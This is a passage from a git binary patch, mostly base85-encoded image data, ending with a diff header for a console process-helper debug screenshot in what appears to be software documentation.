z+&lbTLr3O?cCxgteGfpK!BGjRP#FEZN5X`LSx9h?)PS$6_Q$tg8#xRN32a27mXZ7U
z@nMV=5v_l=l25Z$xNi)Y!Z<G+ZEi`A(d=bzo;KGm>chTVDKR*LBj`MiA1J5tu9W@O
ztJ(>K^QPKC^}5t)#J?Mea8v~rjwib$clYI<^|HNRN}qOHf42~{r#@AX+-Lx))AyOJ
zEd7&P`RQ}B+N&^*Rg;-fAN_3WnJifq4^!6U0WB#zb0U9{fR3^qqi}R#F@uENPKpiR
zIP8QXDg9QnF=I=?%=hPIV?kwJ_@)O7DK{4NQjLip=6^T{ei@eck}SdN?8O&P92?V5
z)w;~oSvuJYtlFz`sO#^24`#Vq4qkc`(Ig5qcAKO1EGs{UBat)%cLb4~l6Ik}a(885
z60f%InkQE;V4}jk>5La5=k-?8bqIbmqMwR!UteUAF|uh($ebUG##ppqK}TL?>e(zH
zTuee{E1&~0sSsXszYHin0Aj8y+O|_LKCgWF-b}&9N^eZziHK$iF~H5vue?lfV_M12
zMd@NErucU!p>skqiz9IP)yuA+LQ46~nU2uVSXaU6HsSu7r!~jESdiO$>i}gI!zriX
zu#Iv0XunVX+Ou4^pBp4b!$`vmTvTvWbz#bu0EEY`s1T9~k7Sfc*r@aNpN-Q=(`Ozl
z-JB$9oN6z0NP>_>el7XOC=X)8`ONH>+mS%W5*URMo4Wo03l4GCgynYlPWj=h0!st<
zD1kC+6PNm|VY_0u65-yKR_NCj#!DHw=~+L$tCY(7=(E0J$z%=6S05=sVx#(iR4Q2&
z0;pv@SO^*nSFB9jmvZBfdHAPiQF{9UdeHKknT0|}7e{!Y#q9*RQ^oT-E9q_p*-;v7
z`^FAK0NzgNVw~8cSB9IVCJRg>{J3Qy7s;yvMx_I$$=Fr(%2dT4K+Lh^It|}+>07us
z?Rz<Tw<OmL2j*_uHHBU5;0BjH_Rr%khrHJU@_x>>jR|MrmV~3c%J)n0V_?8u1gL4G
z#kk$V>VcU9pHgBfSWtqqXq>sm{fyDG3~g=Y<^dl&JWjq^Hy7!E`jlGKYhy3cG$uV!
z{_BEJo6R{dFA-ji)bXVi0uD|hm&S&@4~%D$YbR*WpS^GaPwb5%vG?A0+wf?0CojJ$
zOCTK|LK+@8DeImCo-RW`)uy_{=;GR0!du-2ozwOR%r-1Ujn1)4pKd29Sa*zhwDLTP
zP$~|3f>R$jI=n+8alkYw3F#s&6J6Kw*f>eepVQ3k()_jfNW6H;^9%|`NHL?DZ!M++
zQ_q)bSv@dAG~f>L61maY&=fL6B%uQBu>pnyGB?3T&B29I43+1K%Gmj{@}8>7(QH;?
zJukPz@y5QZxI;$1(V;2w)8>FpFp&CB-`frOynD2roux&AwEB4CR#rt}MAmIi(vN+a
zKkpmJdhmXewH_`f6xE80l<i!$i;{4hubAFCVi15;84SK=MBbGwc1Rr{t$?=LZqCdp
zBs+zwwo6lQ89%ji7_RW$h676+Fk8{uQl+DNHqJ*4DH*$y<A_{QJIZBq1*_wT+rkkM
zo~_WBq!zumq+LTwQa>lGQL|HamV;J6Ovg~>^t;0O1Rr~Vgvk8?E0^SodDb=sg}T<Z
zlZw&p-?Qnwv0~WDMRepH(okiofzlAMNcc+5-CSthX877tZtwK~x}`BAd}&dwg9h-o
zhJIC}PtVI0-qBbD=7~M;vx&aGYDp(v_jKy2?C2uw*zeC1B$s$uL}Caa=;PB3xrdhq
zmCdmZBk34=Nz0LbzsJ_XS1W4nJ)BLNxJMnhQ**WwLwv-Echu9>%w+71VqzBacQP-=
zJZ4GXJWT}-bPH=wx?<I6&`*;#2~cq+9gL}+d8Do1H(mhm+73XU3oL@Oa`dxzIJWnB
zMM@NtoKEQX)qAdS`_HJ<o5V$jG;gc`&j@aW>#5GBI*$vpy}YN~g3s^`(13bW`p)D#
zdA~Z6O3RwOIMBiDKN}t7{w)gP@L(_K;*0F(<|8=B850MBDyX=_;58|vs4)lH0cc<n
zX1~?={N34ASUSGW)Uj~-yxmRzpnf~izwZDDWM%g!MNBsss2GoZQ1K$?HF=$iy{Gp}
zrq6j5@$g~SY1Da~n)^vz+wo0jBe#v6x(Qyh<-}3tN`UbR`rBV=8xN&Uh!v94^n2o|
zS{Mu*jg8sXw-rZuld-OmDNCXDQaoDrjk_sc4!F#fA(ATjr~3z7m3`;$xFJ)a&N)IA
z>EkL4uyKcj>ltoE2|oEp3oZ=$F$#@p_#=h2RJ~Ju_HL<<KBZQ}$pdN!6rQUoyb$~v
z%(kS+u>p>l@cbaVOhp&`(i54qN~tlhXJc%i@0!F=#S&fAQI9a2_qM2`JV<(Z(9Ph@
ze5)!Q=;7yM7*e+(FXy$G1D=%do=Cc-iKwwU3$B|JTp4LR-^6T+9TnFZ+SeZS1SeF9
zicIMkK4CD>Y}UppW#G4o6{9Y_t`Y-#wkVI{3kZy$m!`mDIC<1Own-LEn{K!f&3mgh
z`Q^ngF-JpRu$0K?Y22OH*&VyRlnWvvFOuURENAiu;m>SPtypF-_pI~WUw?6iynXXp
zGrAtJdW}8Ac-?<D8699{amBIL#JkoK2-+CRw>a{34(}0kOdH<?-<&Ks;#B{GqjI`r
z?84tLP^Zhl1uW@Yp+8et4OG{LBg1SUD){&C6fSbr&B-qRi;N{yU)QcY`XixY?85@1
zi=c_EbA6>wRqYZgm7|s0%zdq>^Hs~I{Xyx=p=~!?b8X@89RNl7y`FU!<7?VyIKY-|
z1lxYUe!}!YO#<^t9d+i>&IspQ$2XVvi#Dciru@9!_OyeHq4yJBJRBd{DPb6<4i%gH
zXr*7SE(e=aun-hWSoN-LKR8W0|5bF@)=*VkYuiW#|DlZ3Tyd5#hIj4zE-u*3R)sJ!
zjh?K}5RIoszWW!dBSl5M>MW=`PTv#CKnb9b=#0JCjiZJ{3i(`h%vzS@*^Y~#^!HVz
z-6WecIC!e!-W|lC5RvR<bQz5lc`R&cDv~iZyWGw_dpVSqER!OrJ|;_YXFh#Dn1I4V
zdKa(G3^b<a!`UBxa~*gA9EeY1_hFhKXVzHtZc-Ry(VIFPDVp|VtBr1KkD<hPoyPzf
z(jh2_qoWPcYtCa)SR>g=V;6rQT6++<Y~dy4HuJ$8qnYZJ>yda`SUlmiHD<v$k1NBw
zZGKzoP<7q#IZ|Bc<(=x=L?n86fIpqKqV61VsFzoG4oEs~dW-M7`FxR%DO7Bi`YTk^
zVWw!<*weXBzlyNoKW2Fz7dK?CJ9f%32i*5_xIptqd>WUi@+}tgd6mN-n1@}0pEna~
zSD3w=twOR>Z$#f-Phjpnafhy|!7O)~cVA{WDlbW;FUQ3_|0Ca`ob=Ov>L#s<+7$hm
z>~w2NY?`cDpY?qliCuX)FYZNbyax=$8N)YzD#Y#QY$m=Vr&5x3n5kyrbEM(2W^}z#
zT(2${ur9ZMpzk(KTcD@Y4P;`PsM@sve;1DJHkPvsE?IRREjix_D8KkfOz--2u=YBk
zJPaURbAI9DeNlB@yjH<aR)HM2gVe(^9FCWF*e`xojH?{We;i2dz8%i%mQJZ)5y)be
zq~eho%BR6QXRg8*Sma|_dcs*uAIB&SG7rHvYD-O5ZOrEX4p55kT@tJRTm~*G3R4Uj
zJvTjGzfH|;ozbSkttG!1^Cf<$^mFp{hsy#e(`cDp{8pq?oxFUM<mp()icHIo-ul1j
zbojd64o0bsI};W!xSqf;YYEdJ2B~!ReWJU+qXD|HcqC@8wM|t4@MajyG!gbP-vbfu
zkRa~4Pib~sJiWZyw$JN54#du~EQalsd-oU2|H_m2NfkftZ|8Z4^<y_gY`Mr0M-`0=
zGGEf;tr}7oyV9jAzq#!1am*jvC(X^sN<TZ<wM!lUrND{XL%46PvStNx9v)iIY&1`a
zf-)iVzh~MN_0y*?uVKrPlKx6WT`_mcNUKy>m^ATn;<EWT8pT@MD6_A)HANQPK2#+a
z#ffG_^tmwgR<XHc()Q5a`cHHa(3Sqvet~y)Un{=FCW-~Vf0jdlZpJ7g&Rf=`7WK$G
zM<qF=h$A)HfOlpa2vTT&3LYju&+{$0@p&>MpsCNqmdQ<Y&BcxRn*Zly%yEhI%5fhd
zbJ9RVBMA=QW{eg_Z{S7IJ14#uAM}Co87jd(DL$OtkJ`&oZ%s{uer?jmSp=)O8<%FO
zrX5E%C>-2Z_7`Mbo0LK3JDW8oq_=!oavYC?z@^iBX9`j__f+Y8T!v3~y(`j-UV{0K
z1;+oS=cIa5%|)EV(Qq+%V_fFV;om8K!ySaJ`Zp3N%+_ICjNIrh{e*oDjZ}WR$IwZM
zV*Y#w;`~hG;_Z*Mt>BbtI)~8jg}(ZM9wuyKON-KvjwD`NPOlCZPlzd~aG!%0EJR#>
zuLl$ra56(j4r<Q9m}KMaloe|oOpAo(9<h-@;s{od|ETA%y-cAgZ)Ki(-e`~VdC*6;
zcGUKH{x=FAcc*F1V|$Z}it_ILBb4jrfG&`M;}11Vqz-tun&Pe=BqOupuqdzZmPd+v
zvf)lP&>Z~siwxfYv8v=^%q-9w)EfV)4jW)YV**O(x5e4>GrZ~EOi=_~S1P`?;t{;6
z?R&&JkkL&(`NrXZBieT+P9f8~;*cG_TE%lQ+FNq*J33jB(eQiYJ+rfI9je(uFrZmO
z=Z2(}XlD2-V3MPbf8>R^%~a#uaq+6)wP(m%(GJ2wo2tV2<KIKP652F=o{4M1YdeoD
z#n;mEoYR^{$eDs_wLA(mdl}BOhH-OiR?2{}qoq(jJ(YysO}3A<Q%gVLkFn*KsVKnK
zsf!i4&rWbaV(?<q_1PFbEgz!eO6gA-tR(NMB4zSr@wusy*f>F}I*o(O9UH$qx*1Th
zS-}Ik$id3hF?pj4VAg>GQ9d~ms0<HVV=(7y6fZ1AOM%^c-=Fat*i7>5fu(JF(=L|H
zx}Puo#Fd@AQuaStZymxl%c?Nc3XdE|h2!C`Dqr<ddG4%HD0cx3Hcm9-Z1*bjQ7zCG
zuT%FVKryQp8{kT39A_u15FF(Oyq=o4R1uUX=s0Jc`Cb#0g#Y4C5p0Qm)g57|#7}uq
zLdkeoA(7&Dma#Z2CpF`+!^SN-;ep*6esmgHVv*;db$C6c3`@H(X!CW^=~?~(%YJr-
z!(b4nl|od6H*V`~xLf>hLDt&j1v$wDm(Brx>;Okoi^TDXQSac?%oJzG7#KW!A=~vk
z{HmiLvd+%KUaea!!afEoEVx4&3HDY7n#Tohi+ZSX0OZAu<{&{%uu+`mqV12-vVr}p
zCmMof{PBJ+&;~v8u1iXqZmiEKXV*7sM`p~;A*1|c13-hgD=9c8v|GLxv$?F0y4i_&
zs%^x&=5%XWd@9}ess4-UvduPfS@KC4<(uV5bVZNv#_yhtap_(2rYqeBI_<mIx-VM;
z$sKc7{*yqRnWOqv@0nI(7egiM*-cwq{eXV*{!q;i8y=w~&}$GHpNA69rbL~-Il=fZ
z-SNDzWd$JRQzNaLgi*2unT;5U{b>wK)La%gTla8$$Tn@eB2)#mXf*%imTTlsC?K-`
z8gwQlZdr2Rpu_6ep&H}c2F7*)qfR+v?7e&O%xf2o3Kyf-Xd@Kh?mS0RSHp#Ah{H+Y
ze&&=J=jXB-{w#;t(QR8!J`0D!nHsbOlFRb)df4+=I-758{zR-roz|OSN~Pf<0vwyJ
zpQ?QjoqpnOd@xYpwOp&@x{Vd4bTu)v!@yf1Gwl2O8QlfwV&z-&TBBODp1z78#5B^)
za6zs=D-r8S(^2T3yHuT!pJcQo1)W+sUrD%Ev6*{x%;lkLgYvc(skL#}5qZ(U+!0KU
zvkuw0&TFv`JW%OcXGpRP01In$lmjN;t(y1TIW?@telg4N_-N8w#eE=^F6u<`M@6N<
zbCOMoMO{}@Ifdc(Jc#$5*;G0?V{*iZ!pq8u#%RXFMdQ;(S<I)IM1Px$ILF$emyWu-
zb(_3&aoCki&|AE)AD5lmT&HcPW+tE$mV#x`_0KDgF~DB-xMoCb3$C)IMs5p@njDv<
zyg42{xp4JAq`OQF&3-&+Y9?eV!qJXI|Nbwbd=J!(Lhf)#LkiwrMvE5r8W*YVuuOsX
zM`q-VQ4GwouNzKIJeVYgso#H-$<#En7+~B;J>SdMKld33_73+y6nAyM74DpW{ukW~
zR0_z8A*8LjEGd>2W#AA*>b%QN{`uRDRHgeDp{o_7S!|+DxtoTCI?@>=#iv7%PAL@+
z)_!`h)QLZ(=f35U#WX36{qDSs7OTpe$ZH=;>hVWrsW>|?%)E5l$o@)u=u>C9HIV&W
zK;}PfMRn!1rDwRY#?BMh6D>)fri>DTv!<j^xMKRpD-|6gu;0g64%M@tpF#@4{40(F
zVNZw1%hlhBVn6g-xAZd0e`2xwHU+h;V9`S47t(=DfWTpVN^E|aH!el$DO^XzA?}?5
zFO#^}08CS`?)+qp*(+Zf-3`m$AEMMeI*GB3cd;gMX<j$I#hVqq)yeksuA#z%6n?ka
z?x{@g?GYE*T8!K_>-#CK$$fMW*m$DS%ll(=wOdTj;B6NZGi7<L<z@Ecf>zo~Ms)4g
zd;(W5h89cqhU=rr1wnA>9AfIcfIM>C7RVfJF>?;;h1yh6Wjxx-82_vs1Ls+kdOF&z
zV{`ErvUGVI;+@%=sXX|nka>~p##)1xgk?Q~<li$R>66GAzjQ<$J8&g4tz5)Svc|B1
zI-qb$;d-E^hT%Se9e0`^{ch<tl^%bLCddH<##6|h35OD@R3qr0f?nJ(l;V~xdt3SX
zj=E4$rQA7D8c(z{UXAp91whsir^#eXho2YRj6${8_Ix(w)uiJOh{M!f7*Bf^uIVqg
zkr~3d1ZT{ZiO^_p!)#y|%MdrLUuSZYpdQD{4{=_cS?n%<SzFZDe)u~E7c*aR`jA2F
z`J*GtI`uduK=p-jF2TWu$BlAe`Ib@cRsMswv?H{mZr*M|bv3^~xgY+HV2x07Y5ja8
z?v&Y+_~_%Gar<8Z?Y31uelYc=HPSp8GEZY&YaYa#6yWuUPlUzei-ki`l+o_|kz>Gi
zeGiSq=8J<#D|TQhSIO%wJrO&TtFlfYW<!Rx@Cs9u33Mnpu>9&^Eh;rGluFyslwl;|
zg<axAN(Q_j(Yy9U6an=y^#-0(Pk`{+j{DC1Cu?9fi=;PkYHo*3&#~^7`5{FUW&9!}
zXA187%-i+B5)$H@)(#Vzt5B^*oj9Tgd{i)IboZ10hnjN4erS4Tg+0CaSy>+62Kt)H
zmd_EY6{XL3G+khnHa@Ixs3UB4Rjh<}S`O-z6W}vnnRgmq__3=wlV2{-Zb$)b*3H0O
z9)_}>$rGknyg2DM>6X!Ss76|bT|ktjqhEMz4)hDLv;F}!N2#9W^S`w}g{Q{#kcSD7
z73tM^X9z}fK?D4Mb)B}*c~3cse>d$?gO6m<Ry-c^Iu_3-6tz&~lyz3)fxd&lK?CmV
z<Eu&KsFO8o{P>F`N1EMTvUw_I3Hh?F=sQPon{=$qaIA#_cBVL5g6ERsw9|Q>v%}bQ
zYN_ZR;Xu(Dp7Qf20^y6<>D=9V=`@#ojyq=wx3$|c!l4VToUV{rWnT7x$sc_@_yT+i
zv7iGcbVl3a61hZ=^ow|6W8|gjwm@K!)S+%)Co^0me=PR6#aM{RVuNOLm&@Do1^T2r
zf|Cy|8+o?Hz4Bt`Lg7P%K_VREE%Ka2U>8yS5^(ciwf;TTjsNtJ9~!Uaf445^SnG^L
zq>gMvKaeE~oYVGQE5z{x-#N{c*rg-OxmDCp^mu77@XWKhB_D4(<5*tJL1PWn!hw*5
zxAgFaV0sHVecdYV3l*x5zhx^&y^;-W0-;IGjg_k%9!%o{8@3<W8<-glRJ=3<-urcA
zzR?-zK3aM1k52Dbe{wmly-ar6yEptq%EMh4g|mP{iBq+Cf|0RNLaB@{yKLMgsScs`
zyRxZz+P!B%?HgI~76%mk7E_}OgtNrmO>Js+?LpUW_I1;vG;ct8w2ZS`(=qSvs`rY%
z?B=FOXu{Z#o6xcidT3JcXP0Yq&m)%($zbQ0WsR2G+|k3*XhF$v2#PIbC>E`z-27Si
z5B;LO6EMojss-G0>-<u7nbw~>c|l$bb_>+ptyG5|+O_QNpKpiKsXXzowZY4#vZcRR
z5-QxIj}eKid-3qHIgsWT0E^AD-m%mCmS(7r9f^G*&{00C14u4*lzt5qXMDA_B1Oty
zlfFaLnDR<>{?9_sz$RWY5rlHmt1Y@Hzpc%ySFKppqRU%HIBFArUt1R3Ys?azSo{*2
z0@vWLnn1fZ)h(X|9M#;mbw`Kpj5a*&;TunD*iU=tdeEu}G9orEiE-3?xKeQ8{u83L
z=yKAvX$;7mqR3<jT~{?2Iu#O9t!S`_tLqmRt$Zr-VoK=2Q5O)J{jn|HA7OnqlfQq5
zPVEP=p3Nt-XIWR__8;oh0{r0a^%bAKUh~et6~xKe70q9-msj!p=VRP6oD$HkXN|${
z)NZ+_u9&Lm4yMm5wRXkfn!GNga;dA{K$O#t9sE9h=v%P}k`}9aJyxdE{Q<f}_?jLp
z#uZp`{P49-kWo%UN(4QxXQhGXuI=)gk9lUGfHa)FDt)}nMs(@Bj1GmpXE+#15#*31
z9mFQ{p>*viue5yY*MN$a+;QP2Wm&uCyPBxtPvbef=-*3WwXaWFs^z7_{E7}}ABdf8
zv}+U|PrLDC2UUis5k2Izf)c>C4Gy;0kAx7%-+Q-Wf`(R^(a=Mor;51kmGaIX#ltZ%
zqM1=}J&#m6HL>Jx-w>f=%-mAAU@{Sh>aGiYxxI@oH-7i4+H+18<fV&^{@?n)|EB<h
zM~b8(&U*5r!nBmFveBvQSp+D(fV`B~@*!;dtc&_$E7gIdw+^~t<)=C|4Hbu`6rE}`
z4sG$fVy}r8Glmq_=-oBZHX})m(aAH_G?I9h)9!#c#YLjex#sVa-HZ+QN_i()1S)}@
zuZ5*9P%$+%g-|3Zy^!VnYO!V+`}LmRYwDEj`|HtzGG-I0$82nUM~9K)7@v)?@dAUB
zr6`1-??S~$+!SfN_Jkjue$5vC+h5Bd&63fF(@9lJ89n+;b|tq-c{mNIAnpgB%pC*p
zchYx{fBO|NeHn;OXZk3X%QgJ6#&2oz?J&UcG-s`f_7xw#@YhQ+wD4VDRgRP?%*Un;
zlau(Mk^8m&2PzAk>hBviLy;P!!|OVjCC2wb`$q%HA6WI$)wYf_Hk(%S#P!MLHln7-
zT+h7M7BGK#S6|RQ?VLn51t^3flvkyAaq(}j{$a{+R7vyW7?~@AnrxF*5OG7+ykPjf
zzf@`KRzEir#s~ZlE8-k4`Z{5Z(|a2*=F<xbX`B^sXf#x0sTKmLI{W>V4%eD?-{hl{
zX|IRSnI#ZWf?2A+BaQc*u3hM5+Bh3_OglRkWmg^jm~<Ea#qFKED)1BcrZF*96jW0!
ze~w&+MPa;xZ`=P!F=g@-8K;u2d%um!(~jm63%5JHWR|nbEL$9nJn$zW-WX5RvXJCe
zjqbep7$9S+Ow0SUO9s|S8Yv|=5(MZ4=jYKYZx!@LO@TJ}^57Gwx%~8w%baSSVX@uR
zZ)HZXJ|m7-B3Zd*h#|q2M`&qPY8qKz&U$JFg3ecoMou>L-WH}BuQhXPlkDm*=sjJN
zZDYN|hS+;_ytcG9oth{d#~7J<ahgJ%dDz$?Dd%O2u9$~Pq@;>~I$>=KF%OMN!_AXY
zZH8wxs=!7_{A6QJ@rG!X*0g*6+AfDGa}=9$)zrYmjx3SrSj5*$ahWW{<iOlLB&Ww}
zc%^5`dlHzB?Fm26LLM<=ht3=A#J8Y#n3({P(P@X1LV7ynZCM!RdV;j5c*#ab{(*5t
z(cB7}gV>TayB`I@^bPgJ_)oS+s<Cs$X8A9+-m1RS9$TxH_$v_m;13+g^Z7GOj8>U-
z>%JTna{1T(JKjh!9q$pn2iEs>y#-|o5#J%dx|YvNwjz9X5?s&E{5`!+WFzbRt!6-V
zK0~<?%MBkFeMM<kSsdt@Pmj+y&VLn`5rx`g$I3d=5{q@lPgyUDjuiZ)2K?720(_T^
zrC)k25ZBjyEoV2O<r`IiDKF(NH((DfS!^w4E15&+SW3?yYx3|b{^z=}n_qx_@oIUo
z)-=*@JX($Yk#*>La}nj1q@IdpZTqz)QB*mKfI8^x?d%>6#UXGph_dZ~^@UF&LK)CW
zO?`hepoRGHOeP~?)HlY8cFVy}DAFoftzmgDeB=F-US&spzcmCZRG_4uk6$r)q6W>O
z#x`96ou%@v(d(^J(4RPS8o;MtIGLSHHKKi4k3CWdJA223F(PP@=J?R^3`2({>*O)J
zE>(e9USb#*-;Iw2Bkh>H?b^1p&J)Q(yvsYrb~-I+R(o8%<m8ecLa>kgEz&IfU0fy3
z*A#3q)mcR?z9<g6DkOMf2!;0dsppUD_+$Yn(sa}H%yGGhR*>G_@-&Rjus+&3K5q3n
zD8fgko}afiZtWdxGJt?6&Pi80S+IUa;72S`%5A|_${LrLu_;!SQ`VTAzdk#DiYAUv
zL6Uit6Y^N+D%yKF{FhzVa=4*i-Wt!exn7#s@behU&wsk>Hy_wThtRKid{V8aGxY1?
z^X{Teq9Nh8`ELw4jcWd!mK*w3dez@&u7*QoYSs^WIz}UX;dtynFE*L@)4}=fzUEV+
zaQ=3h4?eQ6eAbezCkd#dt2=+Zq`zR5@)X6HD0Y}EiY9D2GIUuyTsiH2!b-7}R;Acc
zdz9a`8C(1fN?D}o>1Q*;ma#$7n(*x3>2!wtOc~TkG=&Os%Kf;#AI0|}{}z4ww(*t`
z$_^xsQR+8`DMH$KGDJ_iw};WsQJ!sIYV{SJw&oRj(Pv``r!snP6O^X=o=M+&Tlak=
zkdg@=)|nU!_i+QR5mp_t-f(%f@tR*7XrVywGe<l6c>xUrax-j;6-8-Z{uBYBoS4JU
z8@9yCh>lvII{t$q%}G>3Em*@{`Vf+Hf-ZgPo^_|-`C;es2}*L}zPEj>n}tC5%7tX+
zn75CI*+BI&sfzjreg|k<25B)N1ko*dWjfTj9<2W2P`>^LhZvsxsxh@$mqJ97xkY-A
zRW|3++f=eQB;7X11It$oMqYEp=zxrTX@r(7(1$G<Om6MW+6~?<-Xt*^#Wgy=>gQG1
zj5+Y()0q{WcKI_uB!y60p;wuw*TNA;nke&S-cjt+K!-0Q-#nhPt*ut`;ImsKqH(<d
zC&W4J$;<2PPeyllN4Ou4pVY{Pgz;vjueC1|FyE7VkR{2d-sp>2QF%H0l+E^i-_`c;
z=#G$~0gJ}+#?=Xa&GGhg@96ZkOnhV#&-d3>b9b5d)=%ZoF9*F}mPgvWd|#Y_r9eMA
zYHiW+ehafQLNE7?2JR@7=rYr6gDTm}ms{#C-%eiSP1x`z^mRqIEq1PY*204>#%V75
zPW-B=fmd`aS&g_IA`5!3&pTpp8qB_{Gkl>B7?@o%!d5$vSC-m0ACN2PSSNS*s~)W8
z)hpjB2qyi{(ubdmZ+`p+TQ;uedxb39e(#Y`iu90met2MK;yj9bZv$bzi7Q!(Eq_*N
znRAtsVcx|mLp&+e+}^&Ph=>oXA!I76v~ON>krs?Y8<=Zj=uHl1Fs_&pNs*Up=JO>7
zK1ah8zH`Q|xyN90k#`Ckxuq49R;!h7etvadW7gs~c*5{7U)0l&kED+$cv0rrQbyNp
z8lhW~%ePW5lc;&gb(lSIjegEH_tRlxzr_R9bUzboA19G&XEU-B%CkA;6ZCT(S7^9r
zejf9924ZW{Gq<F=Cy8Nl*n1|OzhVDjPBpj$>O^a7R4MVxGs5ctZDl-st0~!rX<>W)
zcX)$>^hrK-UQ55ruEff;$AvOk27z%k(`X{~k+js{ZXPxNS+jD9&#~!d-x%g1E7AD4
zVKZQ!T4>t9O5x<Z%p+{_X3zRr4PCUP&<nmgB^A%ZD!iTL#ZaNPh(rQqw`#MFoF2z5
zBmarEo=W*sx-?$t{s0b2sS9sOR>VHNNEqsTg5kpX0H$yzO^Ar7UzNHQw@Pe`)uWz^
zsu3<psKBV1_3p3u56pgj_CG3=Ufy^Lh3+_BBuEa4!0u=NSeU+_`b{Q0v)!h&R#~cV
z5IJdY{9$8A!4wJge!Mc8_NAieaKE(C8ZCc-tYf#<;tn~!X_1Er#l>}`4@lZXwnCLX
z88k#E)V=2~OKTZHK(|Far07(9QpMfgI{RYp_qOb^@yYZu#`9NZB4efTO$D%Xs?_>7
z`^o(WI_rP^x+_5@9aEEb`15_0lIOj9I@-hM`?V=Z5Cl%Mh%Aav#G1!iK#bg<N%&dX
zFU%aF`O|c7r!w%cm|8x&<8fK|3P;z<CC*rc2(pG;?>z-;Z<$yn>1#Edm7#tk7`$f(
zJ)|c#gpCJH*P>{EqJz1Kki2gClL;NmV(<0SgX8Ee0;X`@N!+fw0Xz!71K{TF)DRo(
z*3NKF4(R?gymI8beBw@|y%DXt(87tZGw}5GJqspu(q5R|tSPf!@^LS=ay|V0ZhD}C
z(PTG$1Lz2c+3@pocL5{V&5h$jE6ke6$a+=I7=7ui{Mgp>&ZdxEQ+kHD?|XuA<uGC&
z?CPZ2zQM6VU$@iJN#)nailqOEAO9kGPcooXsimL^s+jqnpS_=Cwz5Rq+}29l;dna8
zM*{u0BP#ox_MWuc6ZnWPB~cK=vPA!SxC3T1G@jr00G#kwq=-dB$|pC}=+yuaZ~kbS
zJ+LXA^=|Yo``X=BIT!0_6Ah{SA79_-f4<gaq55Mszz*T>2!7GwVk};IAk>ohBt+`|
zA3?*vCF-Yz?1!;PiZ>dS*=Dn@hIKFr`Oc_do3lK8ug&Ss;^S^3JRe3qhFSl6w&5<9
ztbjaN<pGWMqe1H`#&;mCrk0LxC`$o2@p)0RM(X18_b9H{XhE131IrPz*l)+q&a{+t
z!yxtS8SnKFx6;6y_U8cWu%xDsZ;CY^JCWW~EIHh+m*Tz!4#5OUd6P<>s?hwWY5G@b
z=H-=!F`1WI77?SekoS7578)^ehA3OJv)fsj3$e~RpsiPT?`-6QXtd`a6&Be7B*#GI
z>}9%2+!S0>oh6v`0AU+Bh?d#5#B&>vC4e#6wY5=mBT2<p><Dq*jI>NwDL~^XI12B-
zcg%UqA_msD+eJg7obqZCnK@bSwhT=f1!fatkif{OwRY=irUIpV|8s>`ZWwI-i&0gL
zZla<8*8(-HUGso6?~o3vT=~#cfd`~RwVk7h>R5t~+b|wJn^4Zx81|kO_}Kvf<D1KM
zh9|V-*1{QsgvSl<=Dw}Fxo7Ow$81)9Rp4k4IM8ll{(&KfecE<h1;isVA+Hybl-fbv
z{NTbTi0WE`NPwn=w<i&WV(<W?&too6Zn@lRSzl!8{YGtsZ`H6*V3J+V?LTGlU&w~f
ziey%FuiG>>`vom|q}+U%w_b}nNyLclRS*|3j=-V~E^m|<!qaMKTi}D08xPmWb#DTS
z?5S8Auj5jL2i1X}fluzSV_v{6VRBRb&~#MS*X3}_c&aR4egE;L1h`yJR;n9?uZ;J~
zDs6E^n%Lvg!J7-~qW#+Oq7!BHvr(|t=-ZU_!k;$t8XG4Amr`T;u~ox>iT)917qErl
zC;z0kRtjpH>$-#itJ6P_*uUlYgX*;<7F_FsEbK+AS2%&!Q%u9mY+I|VQl2|OZ*@rL
zvUo!iO>QR}X}CKc1#*UDhsI>n`^F3_6=|&_<;Sz7T5-*x6-B8caBC{=mZg)v450Wu
zcQ*iHI{fCKxnG-~7ILIXym=y*v+`Qh5lnd0-jkZ`1`m(~x9nM-U4a7mO*I%;#&s=G
z6<K@xMI~>hm$)y(;{R61XkLG~!oc|Lhjnz)6w7|;+r;8A=>0Fw@Af8r@-zqE&p&q9
zQ45#n$A3a5DLbi$E0+3wUJww3@<jkbAmVv*U6rjXRl1ZC4}e+WAK50pu4Ef%M3Oz=
zz;w9MxKf+n;;>hMF4cFq(^jjxMBe#Gua@$-^xIAI3Nwu;2PI#3^YuZ6gGXbM7LV`z
z-A2whvpwez9fDBht%t=p=q87f+u}kGS1WCBbVj~pU<k8xx^-UdIsRDjb(m$i4nQ18
zFmcr@3+sj&q2+DEL=@928`<yk!;cW+*Rj?WVaK-4Nh!70vgl35Rnp$(a{$+^1o6K#
zRvc690m8vSzh3d&)hWMr-Pp7DAj&7taiMr}>qEY$xzKWk_k3QRu~?Xt1U1*#AJN#q
zY*jVS&2EdFt5;_1(ka4{I;|OVB`x_)1(>wvg>B(OkrCV+_Y6Q(ATf}z&OkOuw;dWe
z$Dsr>9D~A5wMjvVHS`=nvvNE6i(%oD(3Y+(+(KgG*rsqvrZKqD9%u?QW4H1;ST0}{
zJi=Rh3rm^q2IfJ*wtcKT)u7?VF)`T>Mbs-^r%uE38C7|n8_^;|4Qz&ZO(U&z6|F;$
zR}Mac5@`>m1;#K1CCeQ`mVsk=Qf94`f2Vm%Z$Cs)fwNMq*%IGnRFYoSPQ^xX-)Dzo
zZ3K?<2t~F7k0Itr`$1ihDY(8YRCb0S0j(s29GVtQLqHmU=v>gK7DWykI>YT-co&99
zncnJuL+{d86e-eK>_%Cshh<mzF{{MEMG*oTw>=&dJCfb07=5)im)X*Io7FUzB%mwc
zXU0^Hw-<j%=yS3^aQ43i#HsN{w{K41J78sh4v1yraA)zy{o`+qV}qt}u4=;Uu~N9^
z;(A@EFqa$g-OV9dFw9UNhSkCn8#F&5Z`t8>@!D}6tzWO}%Gs^^9jGU~WT}AmaeYi_
zTDpZud807He0dFA43<--pI9F_DC@swe|f>~;1(ak>cc$w-|g4GRLbD|+7cg*oLV7E
zQ$|isA)HT>AAX(F%1z|T5fX})veC2WgD4TTeSkS>#c`d5ED(BajNG`r<_b4xvgVav
zC2-)IoSY8t3YTHUzSiyunBdr&cc<Th0{OM*Oy>I=`tInDrCG0&R=b<Wgxyi+hkzV`
z6W>EVgTGVfe>)}a_@DJp^%5bVM}}_&?Lj#)EO1&b5a(e=b`-s|B$=~?69@n}MH)eW
z&}&bA{MlY9l8iI<g@c6FO586gfe(Csg_X&)AX_&Y_<L=@n@M1rn6fUnb79Dl0OQG*
z5}TXyX4h>R*h1ZC$vCYQolq35cLnq^`&6&|o%{I{8~$;l;h#43zpwrOe50K1-8j9V
Y7A)9ab<PR+>+<(jPW25!=EIl&15wr-F8}}l

diff --git a/_images/components/console/process-helper-debug.png b/_images/components/console/process-helper-debug.png
index 282e1336389762bb88f5fa6d61d4669066c483de..96c5c316739ea4860b8350a1ec65561e43eeedb3 100644
